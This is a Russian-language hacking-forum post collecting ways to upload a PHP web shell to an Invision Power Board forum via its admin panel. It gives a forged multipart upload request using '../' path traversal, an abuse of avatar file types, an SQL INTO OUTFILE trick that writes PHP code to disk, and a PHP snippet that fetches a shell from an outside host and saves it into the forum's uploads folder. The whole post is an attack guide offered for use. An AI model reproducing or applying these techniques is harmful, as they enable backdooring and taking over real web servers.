В связи с тем что время от времени появляются темы с вопросами по заливке шелла, я решил собрать все способы во едино:
1)"Administration(Администрирование )"->"Look and feel(Внешний Вид)"->"Manage emoticons(Менеджер смайликов)"->"Browse(Обзор)"
Обычно шелл грузится, если не включен SAFE MODE и хватает прав
* /forum/style_emoticons/default/shell.php
где default выбраная папка для загрузки shell.php имя вашего загруженного шелла.
1.1)Однако, возможна такая ситуация, что запись в папку emoticons запрещена. В таком случае воспользуемся обходным маневром, и запишем файл в ту папку, которая открыта на запись. А такая папка всегда существует в IPB, и называется uploads. Эта папка используется для хранения аватаров пользователей и для хранения присоединенных к постингам файлов. Понятное дело, что эта папка всегда открыта для записи.
Для загрузки файла в папку uploads используем все ту же форму для загрузки смайликов. Несмотря на то, что эта форма предназначена дла загрузки файлов только в папку html/emoticons, это органичение можно обойти, подделав HTTP запрос.
Исходный запрос для загрузки файла выглядит следующим образом:
POST http://someSiteForum/admin.php?adsess=7456d367b18da87d161f59424a4e96f7 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://someSiteForum/admin.php?adsess=7456d367b18da87d161f59424a4e96f7& act=op&code=emo
Accept-Language: ru
Content-Type: multipart/form-data; boundary=---------------------------7d43942c405bc
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Length: 677
Pragma: no-cache
Cookie: member_id=1; pass_hash=cf20fc37b4g0be45c1336f29d444e798;
-----------------------------7d43942c405bc
Content-Disposition: form-data; name="adsess"
7456d367b18da87d161f59424a4e96f7
-----------------------------7d43942c405bc
Content-Disposition: form-data; name="code"
emo_upload
-----------------------------7d43942c405bc
Content-Disposition: form-data; name="act"
op
-----------------------------7d43942c405bc
Content-Disposition: form-data; name="MAX_FILE_SIZE"
10000000000
-----------------------------7d43942c405bc
Content-Disposition: form-data; name="FILE_UPLOAD"; filename="c:/myFile.php"
Content-Type: application/octet-stream
<% echo("Hello from injected PHP script") %>
-----------------------------7d43942c405bc--
Обратим внимание на фрагмент запроса filename="c:/myFile.php". Этот фрагмент автоматически посылается браузером, и содержит полное локальное имя отсылаемого файла. При приеме запроса, сервер отбрасывает локальную часть пути и сохраняет файл под именем myFile.php в папке html/emoticons. Но если в качестве имени файла передать например такой filename="../myFile.php", то сервер не отбрасывает путь, поскольку он не является локальным, и загружает файл в папку, по указанному пути, относительно папки html/emoticons. Таким образом, послав модифицированный запрос, мы сможем загрузить произвольный файл в произвольную папку сервера.
2)"Управление"->"Типы прикрепляемых файлов"->"Добавить новый тип прикрепляемого файла"
phtml
application/octet-stream
выбираем "Разрешить использовать этот тип файла как аватару / фотографию?":да.
идем "Настройка"->"Профили пользователей" увеличиваем "Максимальный размер загружаемого файла аватара (в килобайтах)", и ставим побольше.
после чего выбираем пользователя и редактируем его аватар на наш shell.phtml, если всё прошло удачно и апач настроен на обработку phtml, то мы по адресу картинки увидем долгожданный шелл.
3)
"Управление SQL"->"утилита"->выбираем таблицу и в "Запуск запроса" пишем:
PHP код:
CREATE TABLE `ibf_shell` (`shl` TEXT NOT NULL) TYPE = MYISAM ; INSERT INTO `ibf_shell` ( `shl` ) VALUES (`пхп-код`); SELECT `shl` FROM `ibf_shell` INTO OUTFILE `путь/имяфайла.php` DROP TABLE `ibf_shell`
4)идём в "настройки" выбираем любую из них, жмём добавить новую настройку, и в поле "Выполнение PHP-кода до отображения или сохранения настройки:" пишем любой php код, на пример такой:
PHP код:
$linky="http://site.ru/shell.txt";
$saved="/usr/home/www/site/public_html/forum/uploads/shell.php";
$from=fopen("$linky","r");
$to=fopen("$saved","w");
while(!feof($from)){
$string=fgets($from,4096);
fputs($to,$string);
}
fclose($to);
fclose($from);
Узнаем полный путь к uploads:
"Настройки"->"Глобальные Настройки форума"->"Путь к папке /uploads/"
обычно этот путь указывается.
Какой-то из этих способов всё равно сработает)).
PS:Думаю стоит закрепить тему, так как не моногие умеют пользоваться поиском)).
Если есть недочёты или дополнения, отписывайтесь.